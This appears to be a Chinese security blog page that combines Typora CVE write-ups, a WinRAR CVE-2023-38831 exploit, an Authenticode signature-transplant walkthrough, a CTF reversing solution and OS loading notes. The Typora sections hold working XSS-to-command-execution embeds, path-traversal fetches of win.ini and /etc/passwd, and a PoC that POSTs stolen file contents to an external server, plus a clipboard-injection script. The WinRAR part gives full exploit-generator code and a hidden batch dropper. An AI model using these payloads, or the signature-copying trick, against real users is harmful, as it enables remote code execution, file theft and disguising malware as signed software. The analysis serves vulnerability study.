Paul C's Blog

To be funny,to grow up!

0%

CVE-2023-2317 Typora远程代码执行漏洞

CVE-2023-2971Typora Local File Disclosure (Patch Bypass)

Windows和Linux版本1.6.7之前的Typora中的updater/update.html中存在基于DOM的XSS,该漏洞允许通过加载特制的markdown文件从而使得执行任意JavaScript代码。如果用户打开恶意markdown文件或者从恶意网页复制文本并将其粘贴到Typora,通过在<embed>标签中引用update.html,则可以利用此漏洞,此外,攻击者可以使用特权接口reqnode访问节点模块child_process并执行任意系统命令。

在Typora中嵌入下面的两个标签,渲染后人眼无法看到任何内容。

1
2
3
4
5
6
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgd3d3LmV4cHBvYy5vcmcnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

reqnode('child_process').exec(({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

其中,

%22 :”

%2f :/

%3c :<

base64编码的内容为:

1
2
3
4
5
6
reqnode('child_process').exec(
({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})
[navigator.platform.substr(0,5)])
reqnode('child_process').exec(
({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})
[navigator.platform.substr(0,5)])

2317漏洞原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script type="text/javascript">
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});

var autoUpdateInput = document.querySelector("#preference-enable-auto-update")
autoUpdateInput.checked = !!isAutoUpdateEnabled;
autoUpdateInput.onchange = toggleAutoUpdate;
</script>

window.location.search: 返回URL的查询字符串,即”?”后面的部分。

1
curVersion=111&newVersion=222&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
  • 数组索引 0 将包含整个匹配,例如:newVersion=222
  • 数组索引 1 将只包含捕获组的匹配,即:222

此时,curVersion被设置为111,newVersion被设置为222。

JSON.parse后,labels被设置为Javascript数组:

1
["","<svg/onload=top.eval(atob('b64_string'))></svg>","","","",""]

含有6个元素的labels数组,

在顶级窗口上下文中执行解码后的字符串作为JavaScript代码。

测试

在0.9beta版本里,发现并不能够成功执行payload.

首先,是updater.html的路径不对。

1.6.7之后的版本,可以把”typora://app/typemark”解析成 [Typora Installation Absolute Path]/resources/ ,但是0.9版本没有这个功能;

而且两个版本的目录也有很大差异。

1
typora://resources/app/updater/updater.html
1
2
3
4
5
6
7
8
9

<embed style="height:0;" src="typora://resources/app/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
​```
reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
​```
<embed style="height:0;" src="typora://resources/app/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgd3d3LmV4cHBvYy5vcmcnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
​```
reqnode('child_process').exec(({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
​```

修改后,发现成功触发到updater.html。

1693365459596

但是SVG元素的onload事件代码被浏览器阻止了,因为它尝试在一个跨域的frame中访问当前的frame,这违反了同源策略。

1693365876426

CVE-2023-2316 路径遍历漏洞

1
fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})

1693367774824

仍然是针对Typora1.6.5的,0.9很安全。

2316漏洞修补

在Typora 1.6.5中添加了一个健全性检查,

[1] 以确保路径以字符串 typemark 开头,

[2]消除了传递以 / 或者C:\\ 开头的绝对路径的可能性。

2316修补的绕过

  • Approach 1: Using ..%5C (Windows-only):
    方法 1:使用 URL编码..%5C (仅限 Windows):

    1
    fetch('typora://app/typemark/..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})
  • Approach 2: Passing ../ in URL fragment #:
    方法 2:URL 片段 # 中传入 ../

    1
    fetch('typora://app/typemark#../../../../../../../../Windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})

CVE-2023-2971路径遍历漏洞

影响范围

Typora for Windows/Linux < 1.7.0-dev
实际测试的版本:

Typora for Windows 1.6.7, Typora for Linux 1.6.6

在Windows和Linux上的1.7.0-dev之前,Typora中的不当路径处理允许构建的网页访问本地文件并通过“typora://app/typemark/”将其泄露到远程Web服务器。如果用户在 Typora 中打开恶意md文件,或从恶意网页复制文本并将其粘贴到 Typora 中,则可利用此漏洞。

POC

利用方式1,打开恶意markdown文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Typora 1.6.7 Local File Disclosure Proof-of-Concept</title>
</head>
<body>
<pre id="log" style="background: #eee; width: 100%;"></pre>
<script>
const log = t => {
document.getElementById("log").textContent += t + '\r\n';
fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
}
log('location.origin: ' + location.origin)
log('navigator.platform: ' + navigator.platform)
log(' ')
if(navigator.platform === 'Win32'){
log('Content of your C:\\Windows\\win.ini:')
fetch('typora://app/typemark/%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{log(r)})
} else {
log('Content of your /etc/passwd:')
fetch('typora://app/typemark#/../../../../../../../../etc/passwd').then(r=>r.text()).then(r=>{log(r)})
}
</script>
</body>
</html>

将上面的HTML文件另存为 poc1.html 并将其存放到Web服务器,然后将此行

1
<embed src="http(s)://YOUR-WEB-SERVER/poc1.html">

附加到任何markdown文件中。

在poc执行后,

  1. 尝试在Windows或 /etc/passwd Linux上阅读 C:/Windows/win.ini
  2. 在网页中显示文件的内容,
  3. 将文件发送到外部 URL example.localtest.me (此域解析为 127.0.0.1 仅用于演示目的)。

利用方式2 编辑网页上的copy事件

攻击者可以手工创建恶意网页,并使用以下代码挂接 copy 事件:

1
2
3
4
5
6
7
8
9
<script>
document.addEventListener('copy',e=>{
e.preventDefault();
//&#x3c;embed style="height:0;" src="https://o.cal1.cn/cab3e723540d9948-typora-167-poc/local-file-disclosure.html">&#x0d;&#x0d;
let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJodHRwczovL28uY2FsMS5jbi9jYWIzZTcyMzU0MGQ5OTQ4LXR5cG9yYS0xNjctcG9jL2xvY2FsLWZpbGUtZGlzY2xvc3VyZS5odG1sIj4mI3gwZDsmI3gwZDs=');
e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
console.log(payload + window.getSelection())
})
</script>

当受害者从此页面复制文本时,有效负载将添加到复制的内容中,并在粘贴到 Typora 时触发。

1
2
3
4
5


<embed style="height:0;" src="https://o.cal1.cn/cab3e723540d9948-typora-167-poc/local-file-disclosure.html">


相当于在Typora中内嵌了上面的内容

2971漏洞原理

为了在Typora编辑器中加载本地资源,在 resources/app.asar/atom.js, 自定义了URL模式typora://,通过electron.protocol.registerFileProtocol API注册.

处理 typora://的代码片段如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
m.registerFileProtocol(e, function(e, t) {
e.url ? t({
path: c.getRealPath(e.url)
}) : t({
error: -324
})
}),

c.getRealPath = function(e) {
try {
e = decodeURI(e)
} catch (e) {}
e = e.substr(13);//截取到模式选项
if (/^userData/i.exec(e))
e = e.replace(/^userData/, c.getPath("userData").replace(/\\/g, "\\\\"));
else {
if (!/^typemark/i.exec(e)) // [1]
return console.warn("reject access to path", e),
"";
e = e.replace(/^typemark/, t) // [2]
}
return /current-theme\.css$/.exec(e) && (e = e.replace(/current-theme\.css$/, c.setting.curTheme())),
e = (e = /preview\.html/.exec(e) ? e.replace(/\.html[?#].*$/, ".html") : e).replace(/[?#][^\\\/]*$/, "")
}

例如,当主窗口尝试加载 typora://app/typemark/window.html 时,URL 将从 转换 [Typora Installation Absolute Path]/resources/window.html 和加载。

漏洞缓解和漏洞建议

对于使用受此漏洞影响的版本的最终用户,建议 (1) 不应在 Typora 中打开任何不受信任的 markdown 文件,以及 (2) 应避免从不受信任的网页复制文本然后将其粘贴到 Typora 中。

禁止 http 网页访问 typora:// 资源。 如在浏览器和Typora0.9版本中规定的那样。

WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。目前此漏洞存在在野利用。

漏洞原理

ShellExecute 函数接收到打开文件的错误参数。图片的文件名不符合搜索条件,导致被跳过。最终Winrar发现并执行批处理文件,而不是查找预期的图片。

影响版本:WinRAR <6.23

漏洞复现

实际测试了多个winrar版本:下载链接:https://winrar.en.uptodown.com/windows/versions

1.电脑上安装Winrar6.22

2.生成poc.zip或者poc.rar文件,默认用winrar打开,测试了发现bat和dos脚本可以成功执行,而vbs无法执行。

3.打开zip,双击jpg文件,此时目录下的脚本被执行。

1693376871430

611下载

官网623下载地址

1693370508867

POC

Go版本的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import os
import zipfile
import shutil

TempFile = "result"

def main():
print("cve-2023-38831.py by Garck3h,modified by Paul\n")
args = os.sys.argv[1:] # Get command-line arguments
argLen = len(args)

if argLen > 2:
TypeFile = os.path.basename(args[0]) # Extract file type
Payload = os.path.basename(args[1]) # Extract payload file
file_extension = os.path.splitext(Payload)[1]
OuputFile = os.path.basename(args[2]) # Extract output file
else:
print("Usage:\n python cve-2023-38831.py <TypeFile> <Payload> <OuputFile>")
os.sys.exit(1)

print("TypeFile:", TypeFile)
print("Payload:", Payload)
print("OuputFile:", OuputFile)



try:
os.mkdir(TempFile) # Create temporary directory
except Exception as e:
print(e)
os.sys.exit(1)

d = os.path.join(TempFile, TypeFile + "A")
try:
os.mkdir(d, 0o755) # Create subdirectory under temporary directory
except Exception as e:
print(e)
os.sys.exit(1)

try:
shutil.copy(Payload, os.path.join(d, TypeFile + "A"+file_extension)) # Copy payload file to TypeFileA.cmd
except Exception as e:
print(e)
os.sys.exit(1)

try:
shutil.copy(TypeFile, os.path.join(TempFile, TypeFile + "B")) # Copy file type file to TypeFileB
except Exception as e:
print(e)
os.sys.exit(1)

try:
zip_directory(TempFile) # Zip the temporary directory
except Exception as e:
print(e)
os.sys.exit(1)

try:
with open(TempFile + ".zip", "rb") as file:
file_content = file.read() # Read the compressed file content
except Exception as e:
print(e)
os.sys.exit(1)

bait_ext = "." + TypeFile.split(".")[1] # Extract file extension
file_content = bytes_replace(file_content, bait_ext.encode() + b"A", bait_ext.encode() + b" ") # Replace "TypeFileA" with "TypeFile "
file_content = bytes_replace(file_content, bait_ext.encode() + b"B", bait_ext.encode() + b" ") # Replace "TypeFileB" with "TypeFile "

try:
os.remove(TempFile + ".zip") # Delete temporary zip file
except Exception as e:
print(e)
os.sys.exit(1)

try:
print("Changing suffix..")
with open(OuputFile, "wb") as file:
file.write(file_content) # Write modified content to output file
except Exception as e:
print(e)
os.sys.exit(1)
try:
shutil.rmtree(TempFile) # Delete temporary directory
except Exception as e:
print(e)
os.sys.exit(1)
print("Generation completed")

def copy_file(src, dst):
with open(src, "rb") as in_file, open(dst, "wb") as out_file:
out_file.write(in_file.read())

def zip_directory(dir_name):
with zipfile.ZipFile(TempFile + ".zip", "w", zipfile.ZIP_DEFLATED) as zip_file:
for root, _, files in os.walk(dir_name):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, dir_name)
zip_file.write(file_path, arcname=arcname)

def bytes_replace(source, old, new):
return source.replace(old, new)

if __name__ == "__main__":
main()

自解压缩包 (Self-extracting archive)

一个 Cabinet Self-extractor file (袖珍自我提取文件),通常称为 SFX CAB 文件

附录

记录一个dos命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@echo off
if not DEFINED IS_MINIMIZED (
set IS_MINIMIZED=1
start "" /min "%~dpnx0" %*
exit
)

cd %TEMP%

for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do (
for /F "delims=" %%G in ('dir /b /s "Images.ico"') do (
WMIC process call create "%%~G"
"%%~K"
cd %CD%
exit
)
)
exit

全文抄袭这两篇

https://cloud.tencent.com/developer/article/1910261

https://mp.weixin.qq.com/s/x6VavWfK_fEungV2pDZ1Iw

1
2
3
4
C:\Program Files (x86)\Windows Kits\10\bin\10.0.18362.0\x86\signtool.exe
更多的使用pfk和pf12文件。
SignTool sign /fd md5
SignTool sign /f test.cer /csp "Hardware Cryptography Module" /k HighValueContainer /v test.exe

制作证书

  • 使用管理员身份运行x86_x64 Cross Tools Command Prompt for VS 2022,生成签名成功。
1
makecert -r -$ "individual" /sv "test.PVK" -n "CN=GS,O=GS,C=China,S=Guangzhou" -a md5 -b 08/18/2023 -e 08/18/2033 test.cer

1692370031213

第一次创建私钥密码,生成私钥文件test.PVK;之后再经过私钥密码确认后,生成公钥证书文件test.cer文件。

加入受信任 的跟存储区。

1
certmgr.exe -add -c test.cer -s -r localMachine root

生成spc文件

1
cert2spc test.cer test.spc

安装证书(Failed),

找不到可视化的signcode,使用了新版sdk自带的signtool

1
2
3
4
5
6
7
8
9
10
11
12
d:\test>signtool sign /debug /v /a /sm /ac test.cer /fd sha256  test.exe

The following certificates were considered:
Issued to: GS
Issued by: GS
Expires: Tue Jan 01 00:00:00 2030
SHA1 hash: EE0FBF8360FF3E8592A0CA55096760CBB9D3E835

After EKU filter, 1 certs were left.
After expiry filter, 1 certs were left.
After Private Key filter, 0 certs were left.
SignTool Error: No certificates were found that met all the given criteria.

总是报错,先安装一个证书看签名移植过程再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
d:\test>signtool sign /debug /v /sm /fd sha256  test.exe

The following certificates were considered:
Issued to: NVIDIA GameStream Server
Issued by: NVIDIA GameStream Server
Expires: Fri Jun 26 16:03:20 2043
SHA1 hash: 387B08818D2E0BC8BFA623DC033AF906246F4BEA

After EKU filter, 1 certs were left.
After expiry filter, 1 certs were left.
After Private Key filter, 1 certs were left.
The following certificate was selected:
Issued to: NVIDIA GameStream Server
Issued by: NVIDIA GameStream Server
Expires: Fri Jun 26 16:03:20 2043
SHA1 hash: 387B08818D2E0BC8BFA623DC033AF906246F4BEA

Done Adding Additional Store
Successfully signed: test.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

1692375968841

如图,左边是安装了签名的软件。文件大小变为了10,528字节,比原来的9,216 字节多了1,312字节(测试了其他程序,增加的字节数不变)。

卸载证书

1
signtool remove /s test.exe

PE数字证书的头格式

1692376207537

增加部分的内容。

1692376376290

如图所示,修改了三个地方的值,增加了一部分字段。

1692376664884

修改的第一处地方是文件的checksum,

1692376755140

第二处是0x188处RVA所属的4字节从0x00000000变为了新节的0x00240000(小端序),正好对应增加的签名块的起始位置,0x2400;

第三处是0x18c-0x18f处的四字节值,从0x20050000,恰好是1312字节大小。

修改处对应的文件结构为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct COFFHeader {
char signature[4];
MachineType machine;
u16 numberOfSections;
u32 timeDateStamp;
u32 pointerToSymbolTable;
u32 numberOfSymbols;
u16 sizeOfOptionalHeader;
Characteristics characteristics;

if (sizeOfOptionalHeader > 0x00) {
OptionalHeader optionalHeader;
}
};

struct OptionalHeader{
DataDirectory directories[numberOfRVAsAndSizes];
}
struct DataDirectory {
u32 rva;
u32 size;
};

对于增加的证书,

1692376376290

符合以下数据结构:

1
2
3
4
5
6
7
8
typedef struct _WIN_CERTIFICATE
{
DWORD dwLength;//表项长度,这里是0x00000520,1312字节
WORD wReVision;//证书版本,0x0200,表示WIN_CERT_REVISION_2
WORD wCertificateType;//证书类型,这里0x0002表是PKCS#7的SignData
BYTE bCertificate[ANYSIZE_ARRAY];//SignedData,从第9个字节开始的数据

}WIN_CERTIFICATE, *LPWIN_CERTIFICATE;

将0x2400这个节偏移0x09位置开始的所有数据提取,我使用imHex,保存为testPKcs7Data.bin。

1692380683213

记得移除最后的00字节。

也可以使用dd命令。

1
dd if=./test.exe of=./test02Pkcs7Data.bin skip=9216 bs=1 count=1298

其中,9224=int(0x2400)+8,count=1312-8-6(00字节)

之后使用asn1view读取该文件,下载这个软件的时候,去各种网站上下载,

先下载到了一个病毒

1
https://cdn-file-ssl.ludashi.com/downloader/temp_package/2023-08/asn1dump(%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81%E6%A0%BC%E5%BC%8F%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7)_3715450019.exe

之后下载的软件少配置文件,最后终于下到了正常的。

1
https://dl002.liqucn.com/upload/2021/1518/a/asn1view.zip

逐个拿可执行文件的hash值去VT上查就可以了,或者对于下载文件夹运行脚本检查,不需要使用VT的API接口,只需要拼接字符串,然后用正则式匹配里面检测到的引擎数即可,当然记得设置header部分。

asn1view获取到的内容

或者使用https://holtstrom.com/michael/tools/asn1decoder.php

1692381389608

PE 签名数据分析

1692382153034

一个PKCS#7 SignedData结构包括PE文件的哈希值,一个被软件出版厂商的私钥创建的签名、将软件出版厂商的签名密钥和法人代表进行绑定的(系列)X.509 v3证书。PKCS#7 1.5版本规范定义了如下关于SignedData 的 ASN.1(抽象语法符号)结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct PKCS7_SignedData {
int version; // Version (of PKCS #7, generally version 1)
digestAlgorithms DigestAlgorithms; // Collection of all algorithms used by SignerInfo signature blocks
contentInfo ContentInfo; // Content type and content or reference to content
certificates *ExtendedCertificatesAndCerticificates, // OPTIONAL: Collection of all certificates used
*CertificateRevocationLists; // OPTIONAL: Collection of all CRLs
signerInfos *signerInfos; // One or more SignerInfo signature blocks
} PKCS7_SignedData;

typedef struct SignerInfo {
Certificate certificate; // Issuer and serial number to uniquely identify the signer's certificate
DigestAlgorithm digestAlgorithm; // Digest algorithm
DigestEncryptionAlgorithm digestEncryptionAlgorithm; // Digest encryption algorithm
Digest digest; // Hash
EncryptedDigest encryptedDigest; // Actual signature
AuthenticatedAttribute *authenticatedAttributes; // OPTIONAL: Attributes signed by this signer
UnauthenticatedAttribute *unauthenticatedAttributes; // OPTIONAL: Attributes not signed by this signer
} SignerInfo;
contentInfo=Sequence(
contenttype Contenttype,
content [0]
)

1692382879057

这里的 “1.2.840.113549.1.7.2” ,表示

采用PKCS#7结构;

生成签名的哈希算法MD5\SHA1\SHA256\,

签名属性SPC

证书颁发者信息(包括md5withRSA签名、证书颁发者YXZ、组织WHU、国家及省份)等。核心数据包括:散列算法\摘要数据\公钥数据\签名后数据;

数字证书的移植。

1、有签名程序开展,找到PE头的struct IMAGE_DATA_DIRECTORY Security,取出其签名的偏移和大小长度,移到偏移处,取大小长度的内容;

这里取了HBuildX的程序的签名部分。

1692383289453

1692384153074

2、将以上长度的内容复制到无签名程序的尾部,修改struct IMAGE_DATA_DIRECTORY Security处的偏移和长度值,指向Certificates;

1692384315658

1692384364030

最终,移花接木成功。

1692384266251

九龙拉棺

1691764840274

本题难点

1.这道题要给线程下断点,

2.而且还要跳过一个IsDebuggerPresent的反调试,

3.在进入线程后,输入阶段也有一个跳转需要修改。

静态反汇编,

一路跟踪跳转关系,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int Main_func()
{
sub_41141A(); // 给函数指针赋值
return sub_412A90(); // 得到flag
}
//sub_412A90() line 36

//int sub_412D60() line 9
int Key_func()
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
hHandle = (HANDLE)sub_41127B();
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_411316, 0, 0, 0);
}
//sub_411316 line3
//定位到关键函数
__int64 __stdcall sub_411B80(int a1)
{
int v1; // edx
__int64 v2; // ST08_8
char v4; // [esp+0h] [ebp-13Ch]
size_t Size; // [esp+D0h] [ebp-6Ch]
char Buf2; // [esp+DCh] [ebp-60h]
int v7_32; // [esp+108h] [ebp-34h]
char flag; // [esp+114h] [ebp-28h]
int savedregs; // [esp+13Ch] [ebp+0h]

sub_41137F((int)&unk_41D0F4);
WaitForSingleObject(hObject, 0xFFFFFFFF);
Check_Run_Error(&v4 == &v4);
Print_str((int)"please input your flag:", v4);
Input_str("%32s", (unsigned int)&flag);
v7_32 = j_strlen(&flag);
Enc_str(16, (int)&flag, v7_32, (int)&Buf2);
Size = 32;
if ( !j_memcmp(&unk_41B018, &Buf2, 32u) )
Print_str((int)"you win!", v4);
else
Print_str((int)"you lose!", v4);
SetEvent(hObject);
Check_Run_Error(&v4 == &v4);
HIDWORD(v2) = v1;
LODWORD(v2) = 1;
sub_411217((int)&savedregs, (int)&dword_411C7C);
return v2;
}

​ 猜测memcmp比较的:unk_41B018是程序的密文,Buf2存储根据输入生成的密文。

跟入前面的处理函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
unsigned __int64 __cdecl sub_411DA0(int a1_16, int flag, int a3_32, int cipher)
{
size_t v4; // eax
__int64 v5; // rax
char v6; // STEB_1
unsigned __int8 v7; // STDF_1
unsigned __int64 v8; // ST04_8
char v10[264]; // [esp+E8h] [ebp-16Ch]
int v11; // [esp+1F0h] [ebp-64h]
int v12; // [esp+1F4h] [ebp-60h]
int v13; // [esp+1F8h] [ebp-5Ch]
int v14; // [esp+1FCh] [ebp-58h]
int v15; // [esp+200h] [ebp-54h]
int v16; // [esp+20Ch] [ebp-48h]
int j; // [esp+218h] [ebp-3Ch]
int i; // [esp+224h] [ebp-30h]
unsigned int v19; // [esp+230h] [ebp-24h]
char v20; // [esp+23Ch] [ebp-18h]
char v21; // [esp+23Dh] [ebp-17h]
char v22; // [esp+23Eh] [ebp-16h]
char v23[21]; // [esp+23Fh] [ebp-15h]
int savedregs; // [esp+254h] [ebp+0h]

sub_41137F((int)&unk_41D0F4);
v11 = 1;
v12 = 0x55;
v13 = 0x1C39;
v14 = 0x95EED;
v15 = 0x31C84B1;
v19 = 0;
for ( i = 0; ; i += 4 )
{
v4 = j_strlen(Dest);
if ( v19 >= v4 )
break;
v16 = 0;
for ( j = 0; j < 5; ++j )
{
if ( Dest[j + v19] == 0x7A )
*(&v20 + j + i) = 0;
else
v16 += *(&v11 + 4 - j) * (Dest[j + v19] - 33);
}
v23[i] = v16;
*(&v22 + i) = BYTE1(v16);
*(&v21 + i) = BYTE2(v16);
*(&v20 + i) = HIBYTE(v16);
v19 += 5;
}
v5 = sub_411127((int)&v20, a1_16, (int)v10);
v19 = 0;
i = 0;
for ( j = 0; j < a3_32; ++j )
{
v19 = (signed int)(v19 + 1) % 256;
i = (i + (unsigned __int8)v10[v19]) % 256;
v6 = v10[v19];
v10[v19] = v10[i];
v10[i] = v6;
v7 = v10[((unsigned __int8)v10[i] + (unsigned __int8)v10[v19]) % 256];
HIDWORD(v5) = v7;
*(_BYTE *)(j + cipher) = v7 ^ *(_BYTE *)(j + flag);// cipher[j]=v7^flag[j]
}
v8 = __PAIR__(HIDWORD(v5), j);
Check_Stack((int)&savedregs, (int)&dword_411FF8);
return v8;
}

可以看到前面根据一系列操作,生成了v7,然后用v7和flag异或得到了正确的cipher。

所以动态调试,

1.先搜索字符串,下好断点,一个是输入位置,一个是比较位置。

1691327074344

考点1

多线程下好断点。

1691326897356

考点2

2.一开始直接jmp F12E10

1691325095601

3.进入到F12A90。

F9运行,断到了线程函数执行前。

1691327641950

按几下F9,成功断到了关键函数处。

1691328283702

此时的线程状态:

1691328244877

考点3

跟入F11037,在F12860的跳转处,强制让其不跳转。

1691329006039

断在输入位置0x411BDE位置,

1691329286256

先随便输入32个1,根据对比函数里的栈地址,找到密文unk_41B018,

1691329776133

1
2
00F1B018  DE 1C 22 27 1D AE AD 65 AD EF 6E 41 4C 34 75 F1  ?"'enAL4u?
00F1B028 16 50 50 D4 48 69 6D 93 36 1C 86 3B BB D0 4C 91 PP訦im??恍L?

整理如下:

1
DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91

再次运行程序,先断到长度函数处。

1691330092818

修改这里的输入值,将前面的密文输入进去。

1691330196880

再断到加密函数位置处:

1691330953276

经过异或处理后,此时memcmp的Buf2里, 就是flag值。

flag

1691330848182

1691330936363

Run跟踪

  • 跟踪一个call运行了哪些代码,有递归所有call和只对一层call的方法,操作方式分别是CTRL+F11和CTRL+F12。

给线程下断的另一种方式

1691331179709

假设程序都是静态链接的,先从整体上把握程序的装载过程,下一章将把程序拆成模块来观察。

Linux下的分段故障Segmentation fault与Windows的“进程因非法操作需要关闭,很多时候是因为进程访问了未经允许的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
/**Linux操作系统
* |----------------------------------|
* | 操作系统空间 | 1G
* |----------------------------------| 0xC0000000
* | |
* | |
* | 用户进程空间 | 3G
* | |
* | |
* |__________________________________| 0x00000000
* WinXP默认操作系统占据2G内存,可以调整使其只占1G内存。
*/

PAE

(Physical Address Extension),是针对32位CPU内存不足的一种修补。类似的,针对16位CPU,借助段偏移寻址能够达到1MB,每次读块只能读64KB,使用XMS(一种中断处理技术)读取大于1MB内存的地方。

OS采用36位地址线\内存地址时,程序使用的最大虚拟地址空间仍旧不会超过4GB,但是它程序的虚拟地址空间可以映射到的物理内存的范围扩大到64GB。

通过这种页或块映射在Win下访存的操作方式叫地址窗口映射扩展AWE(Address Windowing Extension);在Linu下通过mmap()系统调用来实现。

装载的方式

  • overlay覆盖装入,适合内存受限场景比如木马或者嵌入式设备;

保证调用路径上的块都在内存;禁止跨树间调用。

编写程序时将程序分块,写一小段辅助代码,管理模块在内存的驻留和更替。

1
2
3
4
5
6
7
8
9
10
11
12
/**
* |----------------------------------------------------|
* |----------------------------------------------------|
* | Overlay Manager (几十Bytes) |
* |----------------------------------------------------|
* | Main (1024 bytes) |
* | |
* |----------------------------------------------------|
* | A 模块 (512 bytes) | B 模块 (256 bytes) |
* | |----------------------- |
* |----------------------------------------------------|
*/

